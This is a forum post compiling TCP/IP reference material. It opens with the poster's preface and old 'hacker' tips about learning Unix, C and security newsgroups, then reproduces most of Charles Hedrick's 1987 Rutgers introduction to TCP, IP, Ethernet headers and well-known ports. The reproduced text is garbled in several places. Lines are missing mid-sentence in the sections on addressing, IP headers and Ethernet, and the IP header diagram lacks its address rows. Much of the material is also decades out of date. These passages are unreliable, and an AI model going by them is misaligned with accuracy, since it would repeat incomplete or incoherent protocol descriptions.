1. ## Tcp/ip

With all of the posts asking TCP/IP questions recently, I decided it would be a good idea to make this thread. I have uploaded some of these files before, but searching through 20,000 posts is not easy when you need a quick check of something...Actually, this won't be an easy quick check either, as there is going to be a **** load of information here.

I'm not posting this as a tutorial, because most of the information in this was not written by myself. However, if alot of people reply and enjoy this, or somehow lead me to believe this is a good thread, then maybe I'll write a tutorial about this. I have got a TCP/IP class under my Crimson Ghost shaped belt, so I do have a fairly good understanding of this material.

Some of this may not seem to fit into TCP/IP, and I did think about that, and also the fact that some of this is old and or just outdated, but I am posting that information anyway so people new to all of this can see how things worked back in the day.

As for the information that may seem off topic, I just think it's important to add as much here as possible. Some of the information dealing with Hacking and so on may seem out of place, but any hacker that actually knows what they are talking about has a good understanding of how TCP/IP and the protocols it includes all work. So I put it in.

Some of this deals with security, some of it not. If you find any blatant errors, or mis leading information, please reply and point this out. I'd like people to actually learn things the right way from this, and not read it and be flamed for a misunderstanding or something.

On with the text:

I have tried to list who actually wrote these, but some are older than the machine I am typing this all on and I have tried getting the originals for all of these so that you can see who wrote these, and so credit may be given to those who actually deserve it.

First: Some general tips to keep you from being a lamer/**** head online:

I put this here because if you plan on learning TCP/IP, you are more than likely going to be online. And hopefully this guide will help you out in not being a dick head.

Tip #1 - Hacking, hacking is NOT e-mail bombing, being an IRC warrior or
harassing someone. It is the long honored trade of learning about Operating
Systems, Unix for expamle as it's the most popular, and getting to know how
it works inside and out. How to program for it, how to manipulate it and
control it. If you don't know about an Operating System you want to get
into, go learn about it. There is no magic command or word or program, that
I know of, that will let you get and takeover any system with a wave of a
wand. It just don't happen that way.

Tip #2 - This goes with Tip #1, go to school, or get some books and learn.
Read all you can about Unix, C and TCI/IP. I won't lie, it won't happen over
night, it's taken me 2 years of hard core dedication to get to the state I'm
at now, and still I can't keep up with it! For the begginner, get a book on
Unix, learn it, read it over and over until you KNOW it.

Tip #3 - Recources, and where do you get them? Well the best place to find
information on the latest security flaws and hole in not CERN. They post
only after the problem is fixed and every sysadmin and their mother knows
the fix. Go to News Groups. Not the lame ones like "alt.hackers", the only
people you find there are little kids on AOL wanting to know those magic
words. Get on groups like "comp.security.unix", these are where the BIG boys
hang out. The CEO from Sun Microsystmes posts to it, head honchos from
Novell and University Professiors all use these. They post questions and
possable fixes to holes no one has even thought about yet. They are gold
mines.

Tip #3 - I know this may sound lame to the more vetren hacker, but get
invloved in a group. The ones I'm in are always passing new information to
each other and doing, or working on little projects. I'm always amazed on
what I learn from other members of my group.

Tip #4 - Don't e-mail people with kick ass web sites and ask them to help
you be a hacker. Most of the time they think you are just some lamer and
trash your e-mail. Like I said, It's taken me two years to get where I am
now, I'm NOT going to take two years to teach you what I know. Like I said

Tip #4 - Screw IRC, the people that you may talk to there are either there
just to chat, or are big head ego inflated dicks. There is NO way anyone
will learn anything on IRC, save how to be an IRC warrior. So skip it.

Tip #5 - Before you go around bugging other people asking them tons of
questions, go look for the answer yourself. Thats a key aspect for a good
hacker; to be able to track down and find little tid bits of information on
obscure topics.

Tip #6 - I think I might of said this before, but get familer with C or a C
based programming language like PERL, Java, or VC++. 90% of hacking has to
do with you writing, or using some sort of script written in C or PERL to
open up an exploit or hole.

Well thats all I can think of for now......

Ê

----------------------------------------------------------------------------

bbuster@succeed.net
___________________________________________________________________________

An Introduction to TCP/IP:

Introduction
to
the Internet Protocols

C R

C S
Computer Science Facilities Group
C I

L S

RUTGERS
The State University of New Jersey

3 July 1987

This is an introduction to the Internet networking protocols (TCP/IP).
It includes a summary of the facilities available and brief
descriptions of the major protocols in the family.

Copyright (C) 1987, Charles L. Hedrick. Anyone may reproduce this
document, in whole or in part, provided that: (1) any copy or
republication of the entire document must show Rutgers University as
the source, and must include this notice; and (2) any other use of
this material must reference this manual and Rutgers University, and
the fact that the material is copyright by Charles Hedrick and is used
by permission.

Unix is a trademark of AT&T Technologies, Inc.

1. What is TCP/IP? 1
2. General description of the TCP/IP protocols 5
2.1 The TCP level 7
2.2 The IP level 10
2.3 The Ethernet level 11
3. Well-known sockets and the applications layer 12
3.1 An example application: SMTP 15
4. Protocols other than TCP: UDP and ICMP 17
5. Keeping track of names and information: the domain system 18
6. Routing 20
8. Datagram fragmentation and reassembly 23
9. Ethernet encapsulation: ARP 24

i

This document is a brief introduction to TCP/IP, followed by advice on
complete description. It can give you a reasonable idea of the
capabilities of the protocols. But if you need to know any details of
the technology, you will want to read the standards yourself.
Throughout the text, you will find references to the standards, in the
form of "RFC" or "IEN" numbers. These are document numbers. The final
section of this document tells you how to get copies of those
standards.

1. What is TCP/IP?

TCP/IP is a set of protocols developed to allow cooperating computers
to share resources across a network. It was developed by a community
of researchers centered around the ARPAnet. Certainly the ARPAnet is
the best-known TCP/IP network. However as of June, 87, at least 130
different vendors had products that support TCP/IP, and thousands of
networks of all kinds use it.

First some basic definitions. The most accurate name for the set of
protocols we are describing is the "Internet protocol suite". TCP and
IP are two of the protocols in this suite. (They will be described
below.) Because TCP and IP are the best known of the protocols, it
has become common to use the term TCP/IP or IP/TCP to refer to the
whole family. It is probably not worth fighting this habit. However
this can lead to some oddities. For example, I find myself talking
about NFS as being based on TCP/IP, even though it doesn't use TCP at
all. (It does use IP. But it uses an alternative protocol, UDP,
instead of TCP. All of this alphabet soup will be unscrambled in the
following pages.)

The Internet is a collection of networks, including the Arpanet,
NSFnet, regional networks such as NYsernet, local networks at a number
of University and research institutions, and a number of military
networks. The term "Internet" applies to this entire set of networks.
The subset of them that is managed by the Department of Defense is
referred to as the "DDN" (Defense Data Network). This includes some
research-oriented networks, such as the Arpanet, as well as more
strictly military ones. (Because much of the funding for Internet
protocol developments is done via the DDN organization, the terms
Internet and DDN can sometimes seem equivalent.) All of these
networks are connected to each other. Users can send messages from
any of them to any other, except where there are security or other
policy restrictions on access. Officially speaking, the Internet
protocol documents are simply standards adopted by the Internet
community for its own use. More recently, the Department of Defense
issued a MILSPEC definition of TCP/IP. This was intended to be a more
formal definition, appropriate for use in purchasing specifications.
However most of the TCP/IP community continues to use the Internet
standards. The MILSPEC version is intended to be consistent with it.

Whatever it is called, TCP/IP is a family of protocols. A few provide
1

"low-level" functions needed for many applications. These include IP,
TCP, and UDP. (These will be described in a bit more detail later.)
Others are protocols for doing specific tasks, e.g. transferring files
between computers, sending mail, or finding out who is logged in on
another computer. Initially TCP/IP was used mostly between
minicomputers or mainframes. These machines had their own disks, and
generally were self-contained. Thus the most important "traditional"
TCP/IP services are:

- file transfer. The file transfer protocol (FTP) allows a user on
any computer to get files from another computer, or to send files
to another computer. Security is handled by requiring the user
to specify a user name and password for the other computer.
Provisions are made for handling file transfer between machines
with different character set, end of line conventions, etc. This
is not quite the same thing as more recent "network file system"
or "netbios" protocols, which will be described below. Rather,
FTP is a utility that you run any time you want to access a file
on another system. You use it to copy the file to your own
system. You then work with the local copy. (See RFC 959 for
specifications for FTP.)

- remote login. The network terminal protocol (TELNET) allows a
user to log in on any other computer on the network. You start a
remote session by specifying a computer to connect to. From that
time until you finish the session, anything you type is sent to
the other computer. Note that you are really still talking to
your own computer. But the telnet program effectively makes your
computer invisible while it is running. Every character you type
is sent directly to the other system. Generally, the connection
to the remote computer behaves much like a dialup connection.
just dialed it up. When you log off of the other computer, the
telnet program exits, and you will find yourself talking to your
own computer. Microcomputer implementations of telnet generally
include a terminal emulator for some common type of terminal.
(See RFC's 854 and 855 for specifications for telnet. By the
way, the telnet protocol should not be confused with Telenet, a
vendor of commercial network services.)

- computer mail. This allows you to send messages to users on
other computers. Originally, people tended to use only one or
two specific computers. They would maintain "mail files" on
those machines. The computer mail system is simply a way for you
to add a message to another user's mail file. There are some
problems with this in an environment where microcomputers are
used. The most serious is that a micro is not well suited to
receive computer mail. When you send mail, the mail software
expects to be able to open a connection to the addressee's
computer, in order to send the mail. If this is a microcomputer,
it may be turned off, or it may be running an application other
than the mail system. For this reason, mail is normally handled
by a larger system, where it is practical to have a mail server
running all the time. Microcomputer mail software then becomes a
2

user interface that retrieves mail from the mail server. (See
RFC 821 and 822 for specifications for computer mail. See RFC
937 for a protocol designed for microcomputers to use in reading
mail from a mail server.)

These services should be present in any implementation of TCP/IP,
except that micro-oriented implementations may not support computer
mail. These traditional applications still play a very important role
in TCP/IP-based networks. However more recently, the way in which
networks are used has been changing. The older model of a number of
large, self-sufficient computers is beginning to change. Now many
installations have several kinds of computers, including
microcomputers, workstations, minicomputers, and mainframes. These
computers are likely to be configured to perform specialized tasks.
Although people are still likely to work with one specific computer,
that computer will call on other systems on the net for specialized
services. This has led to the "server/client" model of network
services. A server is a system that provides a specific service for
the rest of the network. A client is another system that uses that
service. (Note that the server and client need not be on different
computers. They could be different programs running on the same
computer.) Here are the kinds of servers typically present in a
modern computer setup. Note that these computer services can all be
provided within the framework of TCP/IP.

- network file systems. This allows a system to access files on
another computer in a somewhat more closely integrated fashion
than FTP. A network file system provides the illusion that disks
or other devices from one system are directly connected to other
systems. There is no need to use a special network utility to
access a file on another system. Your computer simply thinks it
has some extra disk drives. These extra "virtual" drives refer
to the other system's disks. This capability is useful for
several different purposes. It lets you put large disks on a few
from the obvious economic benefits, this allows people working on
several computers to share common files. It makes system
maintenance and backup easier, because you don't have to worry
about updating and backing up copies on lots of different
machines. A number of vendors now offer high-performance
diskless computers. These computers have no disk drives at all.
They are entirely dependent upon disks attached to common "file
servers". (See RFC's 1001 and 1002 for a description of
PC-oriented NetBIOS over TCP. In the workstation and
minicomputer area, Sun's Network File System is more likely to be
used. Protocol specifications for it are available from Sun
Microsystems.)

- remote printing. This allows you to access printers on other
computers as if they were directly attached to yours. (The most
commonly used protocol is the remote lineprinter protocol from
Berkeley Unix. Unfortunately, there is no protocol document for
this. However the C code is easily obtained from Berkeley, so
implementations are common.)

3

- remote execution. This allows you to request that a particular
program be run on a different computer. This is useful when you
can do most of your work on a small computer, but a few tasks
require the resources of a larger system. There are a number of
different kinds of remote execution. Some operate on a command
by command basis. That is, you request that a specific command
or set of commands should run on some specific computer. (More
sophisticated versions will choose a system that happens to be
free.) However there are also "remote procedure call" systems
that allow a program to call a subroutine that will run on
another computer. (There are many protocols of this sort.
Berkeley Unix contains two servers to execute commands remotely:
rsh and rexec. The man pages describe the protocols that they
use. The user-contributed software with Berkeley 4.3 contains a
"distributed shell" that will distribute tasks among a set of
systems, depending upon load. Remote procedure call mechanisms
have been a topic for research for a number of years, so many
organizations have implementations of such facilities. The most
widespread commercially-supported remote procedure call protocols
seem to be Xerox's Courier and Sun's RPC. Protocol documents are
available from Xerox and Sun. There is a public implementation
of Courier over TCP as part of the user-contributed software with
Berkeley 4.3. An implementation of RPC was posted to Usenet by
Sun, and also appears as part of the user-contributed software
with Berkeley 4.3.)

- name servers. In large installations, there are a number of
different collections of names that have to be managed. This
for computers, and accounts. It becomes very tedious to keep
this data up to date on all of the computers. Thus the databases
are kept on a small number of systems. Other systems access the
data over the network. (RFC 822 and 823 describe the name server
protocol used to keep track of host names and Internet addresses
on the Internet. This is now a required part of any TCP/IP
implementation. IEN 116 describes an older name server protocol
that is used by a few terminal servers and other products to look
up host names. Sun's Yellow Pages system is designed as a
general mechanism to handle user names, file sharing groups, and
other databases commonly used by Unix systems. It is widely
available commercially. Its protocol definition is available
from Sun.)

- terminal servers. Many installations no longer connect terminals
directly to computers. Instead they connect them to terminal
servers. A terminal server is simply a small computer that only
knows how to run telnet (or some other protocol to do remote
simply type the name of a computer, and you are connected to it.
Generally it is possible to have active connections to more than
one computer at the same time. The terminal server will have
provisions to switch between connections rapidly, and to notify
you when output is waiting for another connection. (Terminal
servers use the telnet protocol, already mentioned. However any
real terminal server will also have to support name service and a
4

number of other protocols.)

- network-oriented window systems. Until recently, high-
performance graphics programs had to execute on a computer that
had a bit-mapped graphics screen directly attached to it.
Network window systems allow a program to use a display on a
different computer. Full-scale network window systems provide an
interface that lets you distribute jobs to the systems that are
best suited to handle them, but still give you a single
graphically-based user interface. (The most widely-implemented
window system is X. A protocol description is available from
MIT's Project Athena. A reference implementation is publically
available from MIT. A number of vendors are also supporting
NeWS, a window system defined by Sun. Both of these systems are
designed to use TCP/IP.)

Note that some of the protocols described above were designed by
Berkeley, Sun, or other organizations. Thus they are not officially
part of the Internet protocol suite. However they are implemented
using TCP/IP, just as normal TCP/IP application protocols are. Since
the protocol definitions are not considered proprietary, and since
commercially-support implementations are widely available, it is
reasonable to think of these protocols as being effectively part of
the Internet suite. Note that the list above is simply a sample of
the sort of services available through TCP/IP. However it does
contain the majority of the "major" applications. The other
commonly-used protocols tend to be specialized facilities for getting
information of various kinds, such as who is logged in, the time of
day, etc. However if you need a facility that is not listed here, we
encourage you to look through the current edition of Internet
Protocols (currently RFC 1011), which lists all of the available
protocols, and also to look at some of the major TCP/IP
implementations to see what various vendors have added.

2. General description of the TCP/IP protocols

TCP/IP is a layered set of protocols. In order to understand what
this means, it is useful to look at an example. A typical situation
is sending mail. First, there is a protocol for mail. This defines a
set of commands which one machine sends to another, e.g. commands to
specify who the sender of the message is, who it is being sent to, and
then the text of the message. However this protocol assumes that
there is a way to communicate reliably between the two computers.
Mail, like other application protocols, simply defines a set of
commands and messages to be sent. It is designed to be used together
with TCP and IP. TCP is responsible for making sure that the commands
get through to the other end. It keeps track of what is sent, and
retransmitts anything that did not get through. If any message is too
large for one datagram, e.g. the text of the mail, TCP will split it
up into several datagrams, and make sure that they all arrive
correctly. Since these functions are needed for many applications,
they are put together into a separate protocol, rather than being part
5

of the specifications for sending mail. You can think of TCP as
forming a library of routines that applications can use when they need
reliable network communications with another computer. Similarly, TCP
calls on the services of IP. Although the services that TCP supplies
are needed by many applications, there are still some kinds of
applications that don't need them. However there are some services
that every application needs. So these services are put together into
IP. As with TCP, you can think of IP as a library of routines that
TCP calls on, but which is also available to applications that don't
use TCP. This strategy of building several levels of protocol is
called "layering". We think of the applications programs such as
mail, TCP, and IP, as being separate "layers", each of which calls on
the services of the layer below it. Generally, TCP/IP applications
use 4 layers:

- an application protocol such as mail

- a protocol such as TCP that provides services need by many
applications

- IP, which provides the basic service of getting datagrams to
their destination

- the protocols needed to manage a specific physical medium, such
as Ethernet or a point to point line.

TCP/IP is based on the "catenet model". (This is described in more
detail in IEN 48.) This model assumes that there are a large number
of independent networks connected together by gateways. The user
should be able to access computers or other resources on any of these
networks. Datagrams will often pass through a dozen different
networks before getting to their final destination. The routing
needed to accomplish this should be completely invisible to the user.
As far as the user is concerned, all he needs to know in order to
that looks like 128.6.4.194. It is actually a 32-bit number. However
it is normally written as 4 decimal numbers, each representing 8 bits
of the address. (The term "octet" is used by Internet documentation
for such 8-bit chunks. The term "byte" is not used, because TCP/IP is
supported by some computers that have byte sizes other than 8 bits.)
Generally the structure of the address gives you some information
about how to get to the system. For example, 128.6 is a network
number assigned by a central authority to Rutgers University. Rutgers
uses the next octet to indicate which of the campus Ethernets is
involved. 128.6.4 happens to be an Ethernet used by the Computer
Science Department. The last octet allows for up to 254 systems on
each Ethernet. (It is 254 because 0 and 255 are not allowed, for
reasons that will be discussed later.) Note that 128.6.4.194 and
128.6.5.194 would be different systems. The structure of an Internet
address is described in a bit more detail later.

Of course we normally refer to systems by name, rather than by
Internet address. When we specify a name, the network software looks
it up in a database, and comes up with the corresponding Internet
address. Most of the network software deals strictly in terms of the
6

address. (RFC 882 describes the name server technology used to handle
this lookup.)

TCP/IP is built on "connectionless" technology. Information is
transfered as a sequence of "datagrams". A datagram is a collection
of data that is sent as a single message. Each of these datagrams is
sent through the network individually. There are provisions to open
connections (i.e. to start a conversation that will continue for some
time). However at some level, information from those connections is
broken up into datagrams, and those datagrams are treated by the
network as completely separate. For example, suppose you want to
transfer a 15000 octet file. Most networks can't handle a 15000 octet
datagram. So the protocols will break this up into something like 30
500-octet datagrams. Each of these datagrams will be sent to the
other end. At that point, they will be put back together into the
15000-octet file. However while those datagrams are in transit, the
network doesn't know that there is any connection between them. It is
perfectly possible that datagram 14 will actually arrive before
datagram 13. It is also possible that somewhere in the network, an
error will occur, and some datagram won't get through at all. In that
case, that datagram has to be sent again.

Note by the way that the terms "datagram" and "packet" often seem to
be nearly interchangable. Technically, datagram is the right word to
use when describing TCP/IP. A datagram is a unit of data, which is
what the protocols deal with. A packet is a physical thing, appearing
on an Ethernet or some wire. In most cases a packet simply contains a
datagram, so there is very little difference. However they can
differ. When TCP/IP is used on top of X.25, the X.25 interface breaks
the datagrams up into 128-byte packets. This is invisible to IP,
because the packets are put back together into a single datagram at
the other end before being processed by TCP/IP. So in this case, one
IP datagram would be carried by several packets. However with most
media, there are efficiency advantages to sending one datagram per
packet, and so the distinction tends to vanish.

2.1 The TCP level

Two separate protocols are involved in handling TCP/IP datagrams. TCP
(the "transmission control protocol") is responsible for breaking up
the message into datagrams, reassembling them at the other end,
resending anything that gets lost, and putting things back in the
right order. IP (the "internet protocol") is responsible for routing
individual datagrams. It may seem like TCP is doing all the work.
And in small networks that is true. However in the Internet, simply
getting a datagram to its destination can be a complex job. A
connection may require the datagram to go through several networks at
Rutgers, a serial line to the John von Neuman Supercomputer Center, a
couple of Ethernets there, a series of 56Kbaud phone lines to another
NSFnet site, and more Ethernets on another campus. Keeping track of
the routes to all of the destinations and handling incompatibilities
among different transport media turns out to be a complex job. Note
7

that the interface between TCP and IP is fairly simple. TCP simply
hands IP a datagram with a destination. IP doesn't know how this
datagram relates to any datagram before it or after it.

It may have occurred to you that something is missing here. We have
multiple connections to a given system. Clearly it isn't enough to
get a datagram to the right destination. TCP has to know which
connection this datagram is part of. This task is referred to as
"demultiplexing." In fact, there are several levels of demultiplexing
going on in TCP/IP. The information needed to do this demultiplexing
is contained in a series of "headers". A header is simply a few extra
octets tacked onto the beginning of a datagram by some protocol in
order to keep track of it. It's a lot like putting a letter into an
envelope and putting an address on the outside of the envelope.
Except with modern networks it happens several times. It's like you
put the letter into a little envelope, your secretary puts that into a
somewhat bigger envelope, the campus mail center puts that envelope
into a still bigger one, etc. Here is an overview of the headers that
get stuck on a message that passes through a typical TCP/IP network:

We start with a single data stream, say a file you are trying to send
to some other computer:

......................................................

TCP breaks it up into manageable chunks. (In order to do this, TCP
has to know how large a datagram your network can handle. Actually,
the TCP's at each end say how big a datagram they can handle, and then
they pick the smallest size.)

.... .... .... .... .... .... .... ....

TCP puts a header at the front of each datagram. This header actually
contains at least 20 octets, but the most important ones are a source
and destination "port number" and a "sequence number". The port
numbers are used to keep track of different conversations. Suppose 3
different people are transferring files. Your TCP might allocate port
numbers 1000, 1001, and 1002 to these transfers. When you are sending
a datagram, this becomes the "source" port number, since you are the
source of the datagram. Of course the TCP at the other end has
assigned a port number of its own for the conversation. Your TCP has
to know the port number used by the other end as well. (It finds out
when the connection starts, as we will explain below.) It puts this
in the "destination" port field. Of course if the other end sends a
datagram back to you, the source and destination port numbers will be
reversed, since then it will be the source and you will be the
destination. Each datagram has a sequence number. This is used so
that the other end can make sure that it gets the datagrams in the
right order, and that it hasn't missed any. (See the TCP
specification for details.) TCP doesn't number the datagrams, but the
octets. So if there are 500 octets of data in each datagram, the
first datagram might be numbered 0, the second 500, the next 1000, the
next 1500, etc. Finally, I will mention the Checksum. This is a
number that is computed by adding up all the octets in the datagram
8

(more or less - see the TCP spec). The result is put in the header.
TCP at the other end computes the checksum again. If they disagree,
then something bad happened to the datagram in transmission, and it is
thrown away. So here's what the datagram looks like now.

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| your data ... next 500 octets |
| ...... |

If we abbreviate the TCP header as "T", the whole file now looks like
this:

T.... T.... T.... T.... T.... T.... T....

You will note that there are items in the header that I have not
described above. They are generally involved with managing the
connection. In order to make sure the datagram has arrived at its
destination, the recipient has to send back an "acknowledgement".
This is a datagram whose "Acknowledgement number" field is filled in.
For example, sending a packet with an acknowledgement of 1500
indicates that you have received all the data up to octet number 1500.
If the sender doesn't get an acknowledgement within a reasonable
amount of time, it sends the data again. The window is used to
control how much data can be in transit at any one time. It is not
practical to wait for each datagram to be acknowledged before sending
the next one. That would slow things down too much. On the other
hand, you can't just keep sending, or a fast computer might overrun
the capacity of a slow one to absorb data. Thus each end indicates
how much new data it is currently prepared to absorb by putting the
number of octets in its "Window" field. As the computer receives
data, the amount of space left in its window decreases. When it goes
to zero, the sender has to stop. As the receiver processes the data,
it increases its window, indicating that it is ready to accept more
data. Often the same datagram can be used to acknowledge receipt of a
set of data and to give permission for additional new data (by an
updated window). The "Urgent" field allows one end to tell the other
to skip ahead in its processing to a particular octet. This is often
useful for handling asynchronous events, for example when you type a
control character or other command that interrupts output. The other
fields are beyond the scope of this document.

9

2.2 The IP level

TCP sends each of these datagrams to IP. Of course it has to tell IP
the Internet address of the computer at the other end. Note that this
is all IP is concerned about. It doesn't care about what is in the
datagram, or even in the TCP header. IP's job is simply to find a
route for the datagram and get it to the other end. In order to allow
gateways or other intermediate systems to forward the datagram, it
the protocol number, and another checksum. The source Internet
the other end knows where the datagram came from.) The destination
necessary so any gateways in the middle know where you want the
datagram to go.) The protocol number tells IP at the other end to
send the datagram to TCP. Although most IP traffic uses TCP, there
are other protocols that can use IP, so you have to tell IP which
protocol to send the datagram to. Finally, the checksum allows IP at
the other end to verify that the header wasn't damaged in transit.
Note that TCP and IP have separate checksums. IP needs to be able to
verify that the header didn't get damaged in transit, or it could send
a message to the wrong place. For reasons not worth discussing here,
it is both more efficient and safer to have TCP compute a separate
checksum for the TCP header and data. Once IP has tacked on its
header, here's what the message looks like:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |

If we represent the IP header by an "I", your file now looks like
this:

IT.... IT.... IT.... IT.... IT.... IT.... IT....

discussed. Most of them are beyond the scope of this document. The
flags and fragment offset are used to keep track of the pieces when a
datagram has to be split up. This can happen when datagrams are
forwarded through a network for which they are too big. (This will be
discussed a bit more below.) The time to live is a number that is
decremented whenever the datagram passes through a system. When it
goes to zero, the datagram is discarded. This is done in case a loop
10

develops in the system somehow. Of course this should be impossible,
but well-designed networks are built to cope with "impossible"
conditions.

At this point, it's possible that no more headers are needed. If your
computer happens to have a direct phone line connecting it to the
destination computer, or to a gateway, it may simply send the
datagrams out on the line (though likely a synchronous protocol such
as HDLC would be used, and it would add at least a few octets at the
beginning and end).

2.3 The Ethernet level

However most of our networks these days use Ethernet. So now we have
to describe Ethernet's headers. Unfortunately, Ethernet has its own
addresses. The people who designed Ethernet wanted to make sure that
no two machines would end up with the same Ethernet address.
Furthermore, they didn't want the user to have to worry about
assigning addresses. So each Ethernet controller comes with an
address builtin from the factory. In order to make sure that they
would never have to reuse addresses, the Ethernet designers allocated
48 bits for the Ethernet address. People who make Ethernet equipment
have to register with a central authority, to make sure that the
numbers they assign don't overlap any other manufacturer. Ethernet is
a "broadcast medium". That is, it is in effect like an old party line
telephone. When you send a packet out on the Ethernet, every machine
on the network sees the packet. So something is needed to make sure
that the right machine gets it. As you might guess, this involves the
includes the source and destination Ethernet address, and a type code.
Each machine is supposed to pay attention only to packets with its own
Ethernet address in the destination field. (It's perfectly possible
to cheat, which is one reason that Ethernet communications are not
terribly secure.) Note that there is no connection between the
Ethernet address and the Internet address. Each machine has to have a
(We will describe how this table is constructed a bit later.) In
code is to allow for several different protocol families to be used on
the same network. So you can use TCP/IP, DECnet, Xerox NS, etc. at
the same time. Each of them will put a different value in the type
field. Finally, there is a checksum. The Ethernet controller
computes a checksum of the entire packet. When the other end receives
the packet, it recomputes the checksum, and throws the packet away if
the answer disagrees with the original. The checksum is put on the
end of the packet, not in the header. The final result is that your
message looks like this:

11

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet destination address (first 32 bits) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet dest (last 16 bits) |Ethernet source (first 16 bits)|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet source address (last 32 bits) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type code |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
...
| |
| end of your data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ethernet Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

If we represent the Ethernet header with "E", and the Ethernet
checksum with "C", your file now looks like this:

EIT....C EIT....C EIT....C EIT....C EIT....C

When these packets are received by the other end, of course all the
headers are removed. The Ethernet interface removes the Ethernet
header and the checksum. It looks at the type code. Since the type
code is the one assigned to IP, the Ethernet device driver passes the
datagram up to IP. IP removes the IP header. It looks at the IP
protocol field. Since the protocol type is TCP, it passes the
datagram up to TCP. TCP now looks at the sequence number. It uses
the sequence numbers and other information to combine all the
datagrams into the original file.

The ends our initial summary of TCP/IP. There are still some crucial
concepts we haven't gotten to, so we'll now go back and add details in
several areas. (For detailed descriptions of the items discussed here
see, RFC 793 for TCP, RFC 791 for IP, and RFC's 894 and 826 for
sending IP over Ethernet.)

3. Well-known sockets and the applications layer

So far, we have described how a stream of data is broken up into
datagrams, sent to another computer, and put back together. However
something more is needed in order to accomplish anything useful.
There has to be a way for you to open a connection to a specified
computer, log into it, tell it what file you want, and control the
transmission of the file. (If you have a different application in
mind, e.g. computer mail, some analogous protocol is needed.) This is
done by "application protocols". The application protocols run "on
top" of TCP/IP. That is, when they want to send a message, they give
the message to TCP. TCP makes sure it gets delivered to the other
end. Because TCP and IP take care of all the networking details, the
12

applications protocols can treat a network connection as if it were a
simple byte stream, like a terminal or phone line.

Before going into more details about applications programs, we have to
describe how you find an application. Suppose you want to send a file
to a computer whose Internet address is 128.6.4.7. To start the
process, you need more than just the Internet address. You have to
connect to the FTP server at the other end. In general, network
programs are specialized for a specific set of tasks. Most systems
have separate programs to handle file transfers, remote terminal
logins, mail, etc. When you connect to 128.6.4.7, you have to specify
that you want to talk to the FTP server. This is done by having
"well-known sockets" for each server. Recall that TCP uses port
numbers to keep track of individual conversations. User programs
normally use more or less random port numbers. However specific port
numbers are assigned to the programs that sit waiting for requests.
For example, if you want to send a file, you will start a program
called "ftp". It will open a connection using some random number, say
1234, for the port number on its end. However it will specify port
number 21 for the other end. This is the official port number for the
FTP server. Note that there are two different programs involved. You
run ftp on your side. This is a program designed to accept commands
from your terminal and pass them on to the other end. The program
that you talk to on the other machine is the FTP server. It is
designed to accept commands from the network connection, rather than
an interactive terminal. There is no need for your program to use a
well-known socket number for itself. Nobody is trying to find it.
However the servers have to have well-known numbers, so that people
can open connections to them and start sending them commands. The
official port numbers for each program are given in "Assigned
Numbers".

Note that a connection is actually described by a set of 4 numbers:
the Internet address at each end, and the TCP port number at each end.
Every datagram has all four of those numbers in it. (The Internet
addresses are in the IP header, and the TCP port numbers are in the
TCP header.) In order to keep things straight, no two connections can
have the same set of numbers. However it is enough for any one number
to be different. For example, it is perfectly possible for two
different users on a machine to be sending files to the same other
machine. This could result in connections with the following
parameters:

connection 1 128.6.4.194, 128.6.4.7 1234, 21
connection 2 128.6.4.194, 128.6.4.7 1235, 21

Since the same machines are involved, the Internet addresses are the
same. Since they are both doing file transfers, one end of the
connection involves the well-known port number for FTP. The only
thing that differs is the port number for the program that the users
are running. That's enough of a difference. Generally, at least one
end of the connection asks the network software to assign it a port
number that is guaranteed to be unique. Normally, it's the user's
end, since the server has to use a well-known number.
13

Now that we know how to open connections, let's get back to the
applications programs. As mentioned earlier, once TCP has opened a
connection, we have something that might as well be a simple wire.
All the hard parts are handled by TCP and IP. However we still need
some agreement as to what we send over this connection. In effect
this is simply an agreement on what set of commands the application
will understand, and the format in which they are to be sent.
Generally, what is sent is a combination of commands and data. They
